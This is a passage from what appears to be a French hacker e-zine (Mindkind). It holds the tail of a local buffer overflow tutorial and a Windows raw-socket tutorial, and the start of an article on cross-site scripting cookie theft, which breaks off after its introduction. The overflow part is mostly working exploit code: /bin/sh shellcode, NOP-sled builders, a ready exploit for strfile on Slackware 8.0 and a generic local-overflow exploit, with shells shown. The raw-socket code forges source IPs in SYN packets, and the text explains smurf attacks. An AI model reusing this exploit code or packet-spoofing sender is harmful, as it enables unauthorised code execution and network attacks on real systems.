            contre que au minimum notre exploit doit être plus petit de 4 bytes
            que  la   grandeur  total   du  buffer   exploitable,  mais  jumper
            directement  au début  d'un shellcode  est en  soit exploit,  c'est
            pourquoi nous  utilisons des  nop pour  compléter le  buffer. voici
            tout de même un petit code en C qui permet de calculer la  grandeur
            du shellcode que nous utiliserons. (ou de tout autre)
	    


//length.c
//use to output the shellcode len    
#include <stdio.h>
main(int argc,char*argv) {

        char shellcode[] =
                "\x33\xc0\x31\xdb\xb0\x17\xcd\x80"
                "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3"
                "\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";

        printf("lenght of %d\r\n", strlen(shellcode));
}



root@Rewter:~/tool# gcc length.c -o len
root@Rewter:~/tool# ./len
lenght of 32


  
	     Nous savons maintenant  que notre shellcode  a une grosseur  de 32
	     bytes. Nous pouvons donc assumer avec certitude qu'il nous  faudra
	     4112 bytes  de nop  pour compléter  notre buffer  (il ne  faut pas
	     oublier que l'adresse qui réécrit eip prend 4bytes).

	     
	     
eip : C'est dans les 4 bytes du eip que se  trouve  l'adresse  de  retour.   Il
      nous faut donc trouver une adresse mémoire au milieu de nos nop. pour  ce
      faire nous utiliserons gdb et un petit code en c qui ressemble beaucoup a
      notre code de padding, sauf que au lieu de créer des A il créer des nop.  
      
      
//nop.c
//padding de nop dans un buff      
#include <stdio.h>

main(int argc,char* argv[]) {
        int x;
        if (argc > 1)
        {
        // 0x90 X nbr argument(argv[1]) (perl -e 'print "A"x300') (0x42)
                for (x=0;x<atoi(argv[1]);x++)
                        printf("\x90");
        }
}
    
    
    

root@Rewter:~/tool# strfile `./nop 4148`
Segmentation fault (core dumped)
root@Rewter:~/tool# gdb -c core -q
Core was generated by `strfile ???????????????????????????????????????????????????????????????????????'.
Program terminated with signal 11, Segmentation fault.
#0  0x804b674 in ?? ()
(gdb) p $ebp
$1 = (void *) 0xbfffe968
(gdb) x/12 0xbfffe968

          
On print ebp pour retourner au début du frame de notre fonction. et a laide  de
x/12 on imprime le contenu hexadécimal de la mémoire a partir de cette endroit,
il suffit  de faire  quelques enters  pour trouver  une adresse  à laquelle  on
retrouve un nop :
          
      
(gdb)
0xbfffeae8:     0x00000000      0x0000000e      0x00000000      0x0000000f
0xbfffeaf8:     0xbfffeb1b      0x00000000      0x00000000      0x00000000
0xbfffeb08:     0x00000000      0x00000000      0x00000000      0x00000000
(gdb)
0xbfffeb18:     0x69000000      0x00363836      0x66727473      0x00656c69
0xbfffeb28:     0x90909090      0x90909090      0x90909090      0x90909090
0xbfffeb38:     0x90909090      0x90909090      0x90909090      0x90909090
(gdb)
0xbfffeb48:     0x90909090      0x90909090      0x90909090      0x90909090
0xbfffeb58:     0x90909090      0x90909090      0x90909090      0x90909090
0xbfffeb68:     0x90909090      0x90909090      0x90909090      0x90909090


On reconnaît ici no  90 (0x90) qui représente  des nop, n'importe quel  adresse
dans  ce range  pourrais servire  pour notre  buffer overflow,  nous allons  en
prendre une vers le début,  pour être sur de ne  pas jumper au milieu de  notre
shellcode (dans le cas  de strfile avec un  buffer de 4148 bytes  le danger est
pas énorme, mais ne prenons pas  de risque par principe). ici par  exemple nous
pourrions choisir l'adresse bfffeb58.


Une autre façon de calculer l'adresse est  de le faire faire par un petit  code
en C. 



//offset.c
//calcul le ret et ajuste avec l'aide de l'offset
#include <stdio.h>


unsigned long getesp()
        {
        __asm__("movl %esp, %eax");
        }


main(int argc, char* argv[])
        {
        unsigned long esp;
        char* ret;

        esp = getesp();
        if (argc > 1)
                esp += atoi(argv[1]);


        ret = &esp;
        printf("%c%c%c%c",ret[0],ret[1],ret[2],ret[3]);
        }



Maintenant que nous avons  la possibilité de réécrire  le eip avec une  adresse
qui jumpera au  début de notre  buffer. l'offset est  un nombre qu'on  passe en
argument que l'exploit  addition a l'adresse  hexadécimal afin de  permettre un
peu de souplesse a l'exploit. de petite variation pouvant arriver d'un  système
a l'autre il est  toujours pratique d'avoir la  chance de jumper a  une adresse
plus haute en mémoire. Nous sommes  maintenant prêt à bâtir un buffer  que nous
copierons dans un  tird part text,  dont nous nous  servirons comme argument  à
passer à strfile. 


Dans un premier temps  il nous faudra un  code qui output notre  shellcode pour
ensuite le passer en  argument à un programme  qui assemblera nop shellcode  et
eip. 


//shellcode.c
//print le shellcode pour le passer en arguement

#include <stdio.h>

        char shellcode[] =
                "\x33\xc0\x31\xdb\xb0\x17\xcd\x80"
                "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3"
                "\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";

main()
        {
        printf("%s",shellcode);

        }




//build_buf.c
//assemble le buffer (nop + shellcode + ret (eip)
#include <stdio.h>


main(int argc, char* argv[])
        {
        int buffer_size;
        char* shellcode;
        char* ret;
        int x,y;

        if (argc > 3)
                {
                buffer_size = atoi(argv[1]);
                shellcode = argv[2];
                ret = argv[3];
                x = buffer_size;
                x -= strlen(shellcode);
                for (y=0;y<x;y++)
                        printf("\x90");
                printf("%s",shellcode);
                printf("%s",ret);

                }
                else
                {
                printf("USAGE: ./build_bof BUFFER_SIZE SHELLCODE RET\r\n");

                }
        }



root@Rewter:~/tool# ./build_bof 4148 `./shellcode` `./offset` > buf
root@Rewter:~/tool# strfile `cat buf`
sh-2.05#

Tadam  on vient  de réussir  un buffer  overflow. nous  n'avons pas  eu  besoin
d'offset, mais jumper à l'intérieur d'une zone de 4148 bytes est quelque  chose
d'assez facile à faire. ce n'est pas l'espace qui manque.


Noter que strfile ne possède pas de suid root, donc l'exploit ne donnera pas le
root, il va seulement conserver les  privilèges que vous avez déjà. ici  je lai
lancer  root,  c'est  pourquoi  je suis  root.  cependant  il  n'existe pas  de
différence au  niveau code  pour exploiter  un programme  suid 0 d'un programme
non-suid 0.


Maintenant que nous avons une vague  idée de ce a quoi notre  exploit ressemble
nous  allons  en  bâtir  un  static  pour  strfile.  qui  sera  compilable   et
distribuable.
 

//mkd_strfile.c
//exploit static pour slackware 8.0 strfile (bsdgame package)
#include <stdio.h>


//location du bin a exploiter
#define PATH "/usr/bin/strfile"
//grandeur du buffer total
#define BUFFER 4148
//addresse de retour (pour ecraser eip)
#define RET "\xbf\xff\xeb\x58"

main (int argc,char* argv[])
        {
        char shellcode[] =
                "\x33\xc0\x31\xdb\xb0\x17\xcd\x80"
                "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3"
                "\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";

        char nop[] = "\x90";
        int x;
        char* payload;

	//creation du padding de nop
        for (x=1;x<BUFFER - strlen(shellcode) - 4;x++)
                {
                strcat(payload,nop);
                }	

		
                printf ("nop in bytes : %d\r\n",strlen(payload));
                //ajout du shellcode
		strcat(payload,shellcode);
		printf ("nop + shellcode in bytes : %d\r\n",strlen(payload));
                //ajour du ret
		strcat(payload,RET);
                printf ("nop + shellcode + ret in bytes : %d\r\n",strlen(payload));


		//execution de l'exploit
                execl(PATH, "strfile", payload, NULL);
        }



Il nous reste  donc plus qua  tester notre exploit.  L'exécution de /bin/sh  se
fait  bien,  nous  avons donc  réussi  à  créer un  exploit  pour  strfile sous
slackware 8.0 

root@Rewter:~/tool# gcc mkd_strfile.c -o mkd_strfile
root@Rewter:~/tool# ./mkd_strfile
nop in bytes : 4112
nop + shellcode in bytes : 4144
nop + shellcode + ret in bytes : 4148
sh-2.05#



Maintenant que nous avons notre exploit strfile, il serait intéressant de créer
un exploit générique  qui permet d'exploiter  n'importe quelle buffer  overflow
local. He bien, dans mon immense générosité j'ai codé cette exploit. Le voici : 


#include <stdio.h>
#include <stdlib.h>


unsigned long getesp()
	{
	__asm__("movl %esp, %eax");
	}


main(int argc, char* argv[]) 
	{
	int buffer_size, i;
	char shellcode[] =
		"\x33\xc0\x31\xdb\xb0\x17\xcd\x80"
		"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3"
		"\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";
	char nop[] = "\x90";
	char* path;
	char* buff;
	char* payload;
	char* redhat;

	unsigned long ret;
	if (argc > 4) 
		{

		/*definition des variable*/
		path = argv[1];
		buffer_size = atoi(argv[2]);
		redhat = argv[4];
		/*mettre laddresse memoir de %esp dans esp*/
		ret = getesp();

                /*calcule du ret*/
                ret += atoi(argv[3]);


		buff = malloc(4096);
		payload = buff;


		/*padding du payload*/
		if (*redhat == 'n') 
                        {
                        	for (i=0;i<buffer_size-strlen(shellcode)-strlen(ret);i++)
                        		strcat(&payload[0], nop);
                        }
		else 
                        {
                        	for (i=0;i<buffer_size-strlen(shellcode)-strlen(ret)+4;i++)
                        		strcat(&payload[0], nop);
                        }

		/*ajout du shellcode au payload*/
		strcat (&payload[0], shellcode);	

		
		/*ajout du ret au payload*/
	 	strcat (&payload[0], ret);

		/*execution de lexploit*/
		if (argc > 5) 
                        {
                        printf("trying to exploit %s %s\n", &path[0], argv[5]);
                        }
		else 
                        {
                        printf("trying to exploit %s\n", &path[0]);
                        }
		printf("a buffer of %d\n", buffer_size);
		printf("using a shellcode of %d\n", strlen(shellcode));
		printf("with a padding of %d\n", buffer_size-strlen(shellcode)-4);

		printf("and an offset of %d\n", atoi(argv[3]));

		printf("jumping to 0x%x\n", ret);
		printf("payload lenght %d\n", strlen(payload));

		if (argc > 5) 
                        {
                        execl(path, "genericbuf", argv[5], payload, NULL);
                        }
		else
                        {
                        execl(path, "genericbuf", payload, NULL); 
                        }
		} 
	else
		{
		printf("usage is ./buf_generic_x86 path_to_vuln buffer_size offset redhat_flag(y/n) [argument]\n");
		}
	}

                        
                        
Ce code prend en compte les 4 bytes de trop sous un système red hat, pour  vous
montrez son fonctionnement j'exploiterais strfile à nouveau. Mais en  utilisant
buf_generic_x86 au lieu de mkd_strfile 

root@Rewter:~/tool# ./buf_generic_x86
usage is ./buf_generic_x86 path_to_vuln buffer_size offset redhat_flag(y/n) [argument]
root@Rewter:~/tool# ./buf_generic_x86 /usr/bin/strfile 4148 0 n
trying to exploit /usr/bin/strfile
a buffer of 4148
using a shellcode of 32
with a padding of 4112
and an offset of 0
jumping to 0xbffff94c
payload lenght 4148
sh-2.05#


Et pour la 3ième fois dans cet article, nous avons réussi à exploiter  strfile.
comme vous avez pu remarquer, il existe plus qu'une façon d'arriver a exploiter
un buffer  overflow local.  J'espère que  ce texte  vous aura  apporter quelque
chose ne serais-ce que le buf_generic.c  si vous saviez deja faire des  buffers
overflow.  sinon,  he bien,  peu  être aurez  vous  trouvez le  complément  qui
manquais au doc existant pour arriver à votre fin. 


Greets : __2 avec qui j'ai construit les tools en C qui permettent de créer  un 
buffer dans un file. 


                                                		   Wyzeman



            ___                                                           ___
     .----/   /----------- ---------- --------- - -- - - --- -----------/   /
     |   /   /                                                         /   /|
     :  /   /                                                         /   / :
     | /   /                wyzeman@mindkind.org                     /   /  |
     |/   /                                                         /   /   | 
     /___/-- ---------- -----  ----------------- - ------- -- --- -/___/----'



   < Mindkind tales from IRC >
   
  [13:43] <init_null> la mere a last en show dans mindkind
  [13:43] <init_null> tutoriel sur comment mettre au monde un geek
  [13:44] <init_null> education 101
  [13:44] <Wyzeman> how to stuff your geek
  [13:44] <Wyzeman> feed the geek
  [13:44] <LastCall_> hahahaha
  [13:44] <init_null> comment faire le menage de la chambre de votre geek
  [13:44] <LastCall_> HAHAHAHA
  [13:44] <Wyzeman> votre geek et la sexualiter
  [13:45] <init_null> cours accélérer sur les relations sexuelles hors-irc
  
  < ----------------------- >


                                                        __ ______
            __    __  __  _ ___   __       _  _   _   _\_ _  _   \
           /  \  /  \ \ \ \  _ \ \ .\     | |/ / / / / _  / /.\   \
     .- - / /\ \/ /\ \-\_\ \_\\_\-\_/ ----|   < /_/-/_//_/\/__/    \-  ------. 
     :    \ \ \__/ / /                    |_|\_\           \        \        : 
     ,     \/      \/                                       \        \       |
     :                                                       \        \      .
     . 11.10 Comment sender des packets RAW sous windows 2k/XP\        \     !
     .             aka                                         \        \    .
     ;       ginette ginette, laisse moi entrer dans ton socket \        \   :
     :                                                           \        \  :
     '-- -----  - -------- --- --------- - --  ------------- --- -\        \-'
                                                                   \____ _ _\
                                                   


¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©
©                      AVERTISSEMENT                       ©
¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©
¤ Cet article est destiné à ceux et celles qui savent déjà ¤
©  utiliser les sockets, qui ont une bonne base en TCP/IP  ©
¤ qui connaissent les principes des raw sockets de base et ¤
©                      le language C.                      ©
¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©

------------------------------------------------------------

¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©
©                      INTRODUCTION                        ©
¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©

Bonjour,

si vous avez continué à lire malgré le petit  avertissement,
c'est signe que vous savez déjà l'utilité des raw sockets au
delà du simple SYN flood. Je vais donc vous épargner l'intro
et commencer tout de suite le côté intéressant.

Dans  cet  article  je   ne  vais  pas  parler   des  autres
possibilités avec  les raw  sockets, comme  par  exemple  de
pouvoir "sniffer" les packets  qui entrent et sortent  d'une
box. Je vais me concentrer sur l'envoi de packets raw.


¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©
©                   LE SOCKET LUI-MÊME                     ©
¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©

Pour commencer,  vous devez  absolument être  administrateur
sur  la box  où vous  voudrez faire  des raw  sockets. Seul
l'admin a les droits pour les utiliser. À moins de créer une
clé  dans  votre  registre,  qui  permettrait  à  tout   les
utilisateurs  de s'en  servir. Créez  la clé  ci-dessous et
settez sa valeur qui est de type DWORD à 1.

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Afd\Parameters\DisableRawSecurity

Vous aurez aussi besoin d'un header "custom" pour setter vos
header TCP et IP.  J'en ai inclus un  à la fin de  l'article
sous le chapitre "HEADER  À UTILISER". Je tient  toutefois à
mentionner que  je n'ai  PAS programmé  le header.  Il a été
fait par "ziss".

Les autres headers dont vous aurez besoin sont  <winsock2.h>
et  <ws2tcpip.h>. N'oubliez  pas d'inclure  la librairie  de
winsock2 "ws2_32.lib".  Personellement je  suggère, si  vous
utilisez MS visual C++, d'utiliser la petite commande:

	#pragma comment(lib, "ws2_32.lib");

La déclaration d'un socket  "normal" ou de type  SOCK_STREAM
ou SOCK_DGRAM est simple:

	SOCKET sock;
	socket(AF_INET, SOCK_STREAM, 0);

Pour la déclaration d'un raw socket, quelques petites choses
diffèrent. Voici un exemple:

	SOCKET sock;
	socket(AF_INET, SOCK_RAW, IPPROTO_RAW);

J'attire votre attention sur le SOCK_RAW, qui est le type de
socket, et  sur IPPROTO_RAW  qui est  le protocole  qui sera
utilisé par le socket.

Il est important de configurer notre socket pour qu'il  soit
"vraiment" raw. Nous faisons ça de cette façon:

	BOOL bOpt = TRUE;
	setsockopt(sock, IPPROTO_IP, IP_HDRINCL, (char *)&bOpt, 
sizeof(bOpt));

Votre  socket est  maintenant raw  et prêt  à être  utilisé.
Notez que  pour utiliser  IP_HDRINCL, vous  devez absolument
être en administrateur ou bien  avoir mit la petite clé  que
j'ai mentionnée plus haut.

¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©
©                    LES HEADERS TCP/IP                    ©
¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©

Je ne vais pas m'attarder à l'explication des headers TCP/IP
puisque je crois que pas mal  tout le monde ont déjà lu  sur
le sujet. Un packet contient toute les informations qu'il  à
besoin pour se diriger sur l'internet. Il contient l'adresse
du destinataire, celle de  l'envoyeur et autre choses  comme
la version IP, la grandeur  du packet, le checksum, le  port
de  l'envoyeur  et  du  destinataire,  etc.  Si  vous   êtes
intéressés à en savoir plus sur les headers TCP/IP ou sur le
TCP/IP lui-même, je vous  suggère de jeter un  oeil attentif
sur le rfc1180.

Les headers  TCP/IP seront  facilement configurable  avec la
librairie "tcpip.h" fournie  à la fin  de cet article.  Pour
vous donner une idée, je vais faire les headers TCP et IP.

	IP_HDR	ipHeader;

	ipHeader.ip_checksum	= 0;
	ipHeader.ip_id		= 1;
	ipHeader.ip_offset	= 0;
	ipHeader.ip_protocol	= IPPROTO_TCP;
	ipHeader.ip_tos		= 0;
	ipHeader.ip_totallength	= htons(iSize); // iSize = sizeof(ipHeader) + sizeof(tcpHeader);
	ipHeader.ip_ttl		= 128;		// Time to live (en hops) généralement 128
						// parfois 48, dependant de vos besoins
	ipHeader.ip_verlen	= (4 << 4) | iIPSize; 	// iIPSize = sizeof(ipHeader) / sizeof(unsigned long);

	ipHeader.ip_destaddr	= inet_addr("127.0.0.1");	// addresse de destination
	ipHeader.ip_srcaddr	= inet_addr("7.7.7.7");	// source

Avec des noms de variables aussi clairs que ça, je ne  crois
pas avoir besoin d'expliquer chaque chose ;). J'ai pris soin
de  mettre  les  variables  en  commentaire  où  elles  sont
utilisées,  pour  avoir  une  idée  de  ce  que  vous faites
vraiment. Maintenant allons y pour le TCP.

Un des avantages des raw  sockets, est que vous pouvez  vous
même choisir  la provenance  du packet.  C'est à  dire qu'en
changeant  le  IP_HDR.ip_srcaddr  pour un  autre  ip  que le
vôtre, (7.7.7.7 dans ce cas-ci), la personne qui va recevoir
le packet  pensera qu'il  viens de  ce ip.  C'est d'ailleurs
comme ça que les smurfs marchent. Ils envoient un ping à une
liste de serveurs, les  serveurs, eux, vont tous  répondre à
la "victime" en même temps ce qui va causer sa déconnection,
tout dépendant de plusieurs facteurs. Assez parlé de  smurf,
et continuons avec le TCP.

	TCP_HDR tcpHeader;

	tcpHeader.acknum	= 0;
	tcpHeader.DataOffset	= (5) << 4;
	tcpHeader.Flags		= SYN;
	tcpHeader.seqnum	= htonl(7777); // n'importe quoi
	tcpHeader.Windows	= htons(7777); // n'importe quoi
	tcpHeader.Checksum	= 0;
	tcpHeader.UrgPointer	= 0;
	tcpHeader.sport		= htons(7777); // le port source,
						// ce que vous voulez ;)
	tcpHeader.dport		= htons(80);   // le port de la destination

C'est assez simple ici aussi, je ne pense pas que  quelqu'un
ne comprenne pas quelque chose. Lors d'une connexion TCP/IP,
l'hôte  génère  un "numéro  de  séquence initiale"  (Initial
sequence number (ISN)). Ce numéro est utilisé pour garder la
trace sur les  paquets envoyés et  pour être certain  que la
connexion continue bel et  bien. Dans notre situation,  avec
des sockets  raw, on  ne se  sert pas  vraiment de  ça, vous
pouvez donc marquer ce que vous voulez à "tcpHeader.seqnum".
De même pour "tcpHeader.Windows".

Maintenant, on va avoir besoin d'un pseudo-header pour faire
le checksum  de notre  header TCP.  C'est très  semblable au
TCP_HDR en fait, voici comment on procède:

	PS_HDR psHeader;

	psHeader.placeholder	= 0;
	psHeader.protocol	= IPPROTO_TCP;
	psHeader.tcp_length	= htons(sizeof(tcpHeader));
	psHeader.source_address	= inet_addr("7.7.7.7"); //comme dans le IP_HDR
	psHeader.dest_address	= inet_addr("127.0.0.1");//même chose ici aussi
	memcpy(&psHeader.tcp, &tcpHeader, sizeof(tcpHeader));

Voilà, on a créé  notre pseudo header et  pouvons maintenant
procéder au checksum :

	tcpHeader.Checksum	= checksum((usigned short *)&psHeader, sizeof(psHeader));

Ceci conclus le chapitre.

¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©
©                   EXAMPLE DE CODE                        ©
¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©

/************************************************************/
#include <winsock2.h>
#include <ws2tcpip.h>
#include <stdio.h>
#include <stdlib.h>
#include "tcpip.h"
#pragma comment(lib, "ws2_32.lib")

int CreatePacket(int, int, int, char[]);
int SendPacket(int, int, int);

int main()
{
    int destPort		= 80;				// le port de destination
    int destIP			= inet_addr("127.0.0.1");	// Addresse de destination
    int srcIP			= inet_addr("19.13.2.7");	// Provenance (ce que vous voulez)

	// envoi de 5 packets
	for(int a = 0; a < 5; a++)
		SendPacket(destPort, destIP, srcIP);

	return 0;
}

int CreatePacket(int dport, int destIP, int srcIP, char buf[])
{
	// Déclaration des headers TCP IP et Pseudo header
    	IP_HDR			ipHeader;
	TCP_HDR			tcpHeader;
	PS_HDR			psHeader;
    	int			iSize,		// Grosseur totale du packet ( + sizeof(autre_buffer) )
				iIPVersion,	// La version, dans notre cas IPv4
				iIPSize;	// La grosseur du IP
    	char			*cPtr = NULL;


    	iSize = sizeof(ipHeader) + sizeof(tcpHeader);
    	iIPVersion = 4;
    	iIPSize = sizeof(ipHeader) / sizeof(int);

	// Configuration des headers
	// Header IP
	ipHeader.ip_checksum		= 0;
	ipHeader.ip_id			= 1;
	ipHeader.ip_offset		= 0;
	ipHeader.ip_protocol		= IPPROTO_TCP;
	ipHeader.ip_tos			= 0;
	ipHeader.ip_totallength		= htons(iSize);
	ipHeader.ip_ttl			= 128;
	ipHeader.ip_verlen		= (4 << 4) | iIPSize;

	ipHeader.ip_destaddr		= destIP;		// addresse de destination
	ipHeader.ip_srcaddr		= srcIP;		// source

	// Header TCP
	tcpHeader.acknum		= 0;
	tcpHeader.DataOffset		= (5) << 4;
	tcpHeader.Flags			= SYN;
	tcpHeader.seqnum		= htonl(7777);
	tcpHeader.Windows		= htons(7777);
	tcpHeader.Checksum		= 0;
	tcpHeader.UrgPointer		= 0;
	tcpHeader.dport			= htons(80);	// destination
	tcpHeader.sport			= htons(7777);	// source

	// Pseudo Header
	psHeader.placeholder		= 0;
	psHeader.protocol		= IPPROTO_TCP;
	psHeader.tcp_length		= htons(sizeof(tcpHeader));
	memcpy(&psHeader.tcp,&tcpHeader, sizeof(tcpHeader));
	psHeader.dest_address		= destIP;	// destination
	psHeader.source_address		= srcIP;	// source

	// Calcul du checksum
	tcpHeader.Checksum 		= checksum((USHORT *)&psHeader, sizeof(psHeader));

	// Préparation du buffer
	memset(buf, 0, sizeof(buf));
	cPtr = buf;
	memcpy(cPtr, &ipHeader, sizeof(ipHeader));
	cPtr = cPtr + sizeof(ipHeader);
	memcpy(cPtr, &tcpHeader, sizeof(tcpHeader));
	cPtr = cPtr + sizeof(tcpHeader);

	return 0;
}

int SendPacket(int destPort, int destIP, int srcIP)
{
	WSADATA		WSAData;
	SOCKET		sock;
	BOOL		bOpt =true;
   	struct		sockaddr_in sin;
   	char		buf[40];

    	WSAStartup(MAKEWORD(2,2), &WSAData);

	sock = WSASocket(AF_INET, SOCK_RAW, IPPROTO_RAW, NULL, 0,0);

    	setsockopt(sock, IPPROTO_IP, IP_HDRINCL, (char *)&bOpt, sizeof(bOpt));
    	sin.sin_family = AF_INET;
    	sin.sin_port = htons(1);
    	sin.sin_addr.s_addr = destIP;

	// Envoi de 1 packet
	CreatePacket(destPort,destIP,srcIP, buf);
	sendto(sock, buf, sizeof(buf), 0, (SOCKADDR *)&sin, sizeof(sin));

	// Cleaning up...
    	closesocket(sock);
    	WSACleanup();
    	return 0;
}

/************************************************************/


¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©
©                   HEADER À UTILISER                      ©
¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©

J'ai trouvé ce petit header déjà programmé par "ziss".  J'en
ai vu beaucoup d'autres, mais j'ai trouvé que celui-ci était
le mieux  construit avec  des noms  de variables appropriés.
J'ai donc choisi de l'inclure dans cet article.

/*************************** TCPIP.H ********************************/
/************************** by:  ziss *******************************/
#ifndef _TCPIP_H_
#define _TCPIP_H_

// Standard TCP flags
#define URG 0x20
#define ACK 0x10
#define PSH 0x08
#define RST 0x04
#define SYN 0x02
#define FIN 0x01

// Our tcp header struct
typedef struct tcp_hdr
	{
	unsigned short	sport;
	unsigned short	dport;
	unsigned int	seqnum;
	unsigned int	acknum;
	unsigned char	DataOffset;
	unsigned char	Flags;
	unsigned short	Windows;
	unsigned short	Checksum;
	unsigned short	UrgPointer;
	}TCP_HDR;

// Our ip header struct
typedef struct ip_hdr
{
    unsigned char  ip_verlen;        // IP version & length
    unsigned char  ip_tos;           // IP type of service
    unsigned short ip_totallength;   // Total length
    unsigned short ip_id;            // Unique identifier
    unsigned short ip_offset;        // Fragment offset field
    unsigned char  ip_ttl;           // Time to live
    unsigned char  ip_protocol;      // Protocol(TCP, UDP, etc.)
    unsigned short ip_checksum;      // IP checksum
    unsigned int   ip_srcaddr;       // Source address
    unsigned int   ip_destaddr;      // Destination address

} IP_HDR;

// Our pseudo header struct
typedef struct ps_hdr
   {
      unsigned int source_address;
      unsigned int dest_address;
      unsigned char placeholder;
      unsigned char protocol;
      unsigned short tcp_length;
      struct tcp_hdr tcp;
   }PS_HDR;

// Standard TCP/UDP checksum function.
USHORT checksum(USHORT *buffer, int size)
{
    unsigned long cksum=0;
    while (size > 1)
    {
        cksum += *buffer++;
        size  -= sizeof(USHORT);
    }
    if (size)
    {
        cksum += *(UCHAR*)buffer;
    }
    cksum = (cksum >> 16) + (cksum & 0xffff);
    cksum += (cksum >>16);
    return (USHORT)(~cksum);
}
#endif

/********************** END TCPIP.H *************************************/

¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©
©                      CONCLUSION                          ©
¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©

Il  y a  beaucoup à  faire avec  les raw  sockets.  Je  vous
suggère fortement  de lire  plus sur  le sujet  si vous êtes
intéressé. Les possibilités  sont infinies, mais  ceci n'est
que  la poignée  de la  porte. J'espère  toutefois que  vous
aurez appris un peu, ceci  conclus ce court article sur  les
raw sockets 2k/XP.

¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©



            ___                                                           ___
     .----/   /----------- ---------- --------- - -- - - --- -----------/   /
     |   /   /                                                         /   /|
     :  /   /                                                         /   / :
     | /   /                 alice514@hotmail.com                    /   /  |
     |/   /                                                         /   /   | 
     /___/-- ---------- -----  ----------------- - ------- -- --- -/___/----'



   < Mindkind tales from IRC >
   < WARNING : TOO MUCH IRC CAN AFFECT YOUR SEXUAL LIFE (if you have one >

   [13:07] <BoiSS> LastCall_: garde ste boutte la pour le prochain e-zine :P
   [13:07] <BoiSS> <LastCall_> sérieux les gars c plus le fun se hacker nous meme
   [13:08] <BoiSS> <LastCall_> ahha
   [13:08] <BoiSS> <LastCall_> jvois plus de but
   [13:08] <BoiSS> <LastCall_> hehe
   [13:08] <BoiSS> <MindFlayR> hahaha
   [13:08] <BoiSS> <LastCall_> c comme se masturber genre
   [13:08] <BoiSS> <LastCall_> cé pas dangeureux
   [13:08] <BoiSS> <LastCall_> pis c le fun pareil
   [13:08] <BoiSS> <LastCall_> haha
   [13:08] <BoiSS> <LastCall_> surement qua longue on se tanne..
   [13:08] <LastCall_> haha
  
   < ----------------------- >

                                                        __ ______
            __    __  __  _ ___   __       _  _   _   _\_ _  _   \
           /  \  /  \ \ \ \  _ \ \ .\     | |/ / / / / _  / /.\   \
     .- - / /\ \/ /\ \-\_\ \_\\_\-\_/ ----|   < /_/-/_//_/\/__/    \-  ------. 
     :    \ \ \__/ / /                    |_|\_\           \        \        : 
     ,     \/      \/                                       \        \       |
     :                                                       \        \      .
     . 11.11    Cross-Site Scripting, gimme a cookie          \        \     !
     .             aka                                         \        \    .
     ;             cookie-stealing, it's EVIL                   \        \   :
     :                                                           \        \  :
     '-- -----  - -------- --- --------- - --  ------------- --- -\        \-'
                                                                   \____ _ _\


C'est quoi le cross site scripting ?
------------------------------------

Bin, c'est une attaque qui consiste à faire exécuter des choses méchantes a une
application web pour voler des informations sur les utilisateurs. Par  exemple,
un hyper lien (merde l'Office de  la langue française doit être fier,  un terme
francophone dans Mindkind) qui contient des instructions autres que celles  que
l'utilisateur voit. (hen!, j'comprends pas pas). Humm ok peut-être qu'avec  des
exemples ça va mieux  aller. On peut faire  des attaques XSS (l'abréviation  de
cross site scripting) en javascript, activeX, vbscript, flash et même html.  On
les utilises souvent pour voler  des cookies aux utilisateurs, mais  aussi pour
spoofer (la  l'Office de  la langue  française m'emmerde  j'crois) une attaque,
faire du DoS (si si c'est  possible avec un peu d'imagination), etc.  Aussi, il
